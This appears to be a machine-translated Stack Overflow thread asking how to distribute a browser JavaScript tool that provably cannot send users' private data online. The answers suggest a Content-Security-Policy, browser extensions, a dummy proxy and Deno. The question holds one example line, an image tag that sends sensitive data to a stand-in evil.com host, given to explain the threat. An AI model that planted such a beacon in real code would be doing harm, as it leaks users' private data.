背景场景是,我想给我的用户一个javascript,他们可以用来分析他们敏感的私有数据,我希望他们感到安全,这些数据不会被发送到互联网上。最初,我想我只是将它作为一个带有嵌入式<script>的<script>文件分发,并且他们将在浏览器通过file:///协议运行这个.html文件,这提供了一些好的相同来源的策略缺省值。但是,这实际上不会为我的用户提供太多的安全性: javascript可以很容易地创建一个<img src="https://evil.com?sensitive-data=${XYZ}">标记,它将向evil.com发送一个GET请求,尽管evil.com是一个不同的来源,因为通过设计,可以嵌入来自不同来源的图像。
有什么实用的方法可以分发我的javascript和/或让最终用户运行这样的脚本,这样他们就可以合理地确定它不能通过互联网发送数据了吗?(从互联网上解锁机器、安装虚拟机或操纵防火墙设置都是不切实际的)(合理的sure=assumming是他们使用的软件-比如浏览器--遵循规范,没有被黑客攻击)?
发布于 2022-01-16 22:04:42
请看一下Content-Security-Policy主题。https://developer.mozilla.org/en-US/docs/Web/HTTP/Headers/Content-Security-Policy/img-src
用<meta http-equiv="Content-Security-Policy" content="img-src 'self';">来补充你的html应该不允许浏览器向国外资源提出请求。
另一种尝试可能是以浏览器扩展的形式开发项目,您可以非常精确地设置内容安全策略,包括定义内联脚本、执行字符串到js方法、框架和字体来源等等( https://developer.chrome.com/docs/apps/contentSecurityPolicy/ )。
作为一种奖励,您(和您的用户)可以从浏览器的安全部门获得免费的代码检查。
发布于 2022-01-16 07:05:47
在设置为localhost:DUMMY_PORT的情况下设置浏览器代理似乎是这种情况下的安全解决方案。
发布于 2022-01-16 08:51:30
德诺是,引用它的网站:
Deno是JavaScript和TypeScript的一个简单、现代和安全的运行时,它使用V8并构建在Rust中。
因此,这降低了用户对deno的信任(如果用户希望使用choco install deno安装deno),则降低信任程度。
https://stackoverflow.com/questions/70724922
复制相似问题